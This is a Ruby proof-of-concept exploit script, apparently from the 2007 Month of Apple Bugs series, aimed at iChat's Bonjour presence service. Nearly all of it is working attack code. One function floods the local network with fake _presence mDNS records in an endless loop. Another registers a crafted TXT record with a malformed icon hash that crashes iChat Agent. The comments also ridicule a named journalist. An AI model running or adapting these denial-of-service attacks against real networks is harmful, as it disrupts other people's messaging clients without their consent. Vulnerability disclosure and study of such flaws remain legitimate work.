MOAB-29-01-2007.rb.txt

`#!/usr/bin/ruby  
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>  
# All Rights Reserved.  
# basic proof of concept for MOAB-29-01-2007  
#  
  
require 'digest/sha1'  
require 'rubygems'  
require 'net/dns/mdns-sd'  
  
bugselected = (ARGV[0] || "0").to_i  
TMP_ARR = []  
DNSSD = Net::DNS::MDNSSD  
  
trap("INT") {  
puts "++ Exiting..."  
begin  
TMP_ARR.each do |o|  
o.stop  
end  
rescue  
end  
  
exit  
}  
  
#  
# This method abuses a design weakness in iChat Bonjour services, allowing an user  
# to conduct a denial of service attack against reachable clients by registering multiple  
# (fake) _presence records.  
#  
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,  
firstname = 'Pwnies',  
lastname = 'Mgheetacek')  
  
available_status = [ "avail", "away" ]  
cur_status = available_status[rand(available_status.size)]  
  
# the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)  
keyset = { "status" => cur_status, # - presence availability of the user  
"msg" => status_msg, # - user's state  
"vc" => "CUAV!", # - user's ability for A/V conferencing  
"1st" => firstname, # - first name of the user  
"last" => lastname, # - last name of the user  
"txtvers" => "1", # - version of the TXT fields supported  
"phsh" => Digest::SHA1.hexdigest(rand(0xffffffff).to_s), # - fake SHA-1 hash of icon  
"port.p2pj" => "1337" # - Port for link-local communications  
# (ignored).  
}  
  
count = 0  
while true  
rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse  
(rand_str.length-1).downto(1) do |c|  
n = rand(c) + 1  
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]  
end  
  
puts "++ Registering presence #{count}"  
# TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)  
dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)  
#sleep 40  
TMP_ARR << dos_handle  
count += 1  
end  
end  
  
#  
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.  
# Program received signal SIGTRAP, Trace/breakpoint trap.  
# 0x9262050b in _NSRaiseError ()  
#  
def format_dos()  
keyset = { "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",  
"last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),  
"port.p2pj" => "1337" }  
  
rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse  
(rand_str.length-1).downto(1) do |c|  
n = rand(c) + 1  
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]  
end  
  
dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)  
dos_handle.stop  
end  
  
#  
# Proof of concept method selection below.  
#  
  
puts "++ MOAB-29-01-2007: iChat Bonjour Fun"  
puts "++ Selected target: #{bugselected}"  
case bugselected  
when 0  
format_dos()  
when 1  
if (ARGV[1] and ARGV[2] and ARGV[3])  
oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])  
else  
oh_gnoes_contact_dos()  
end  
end  
  
`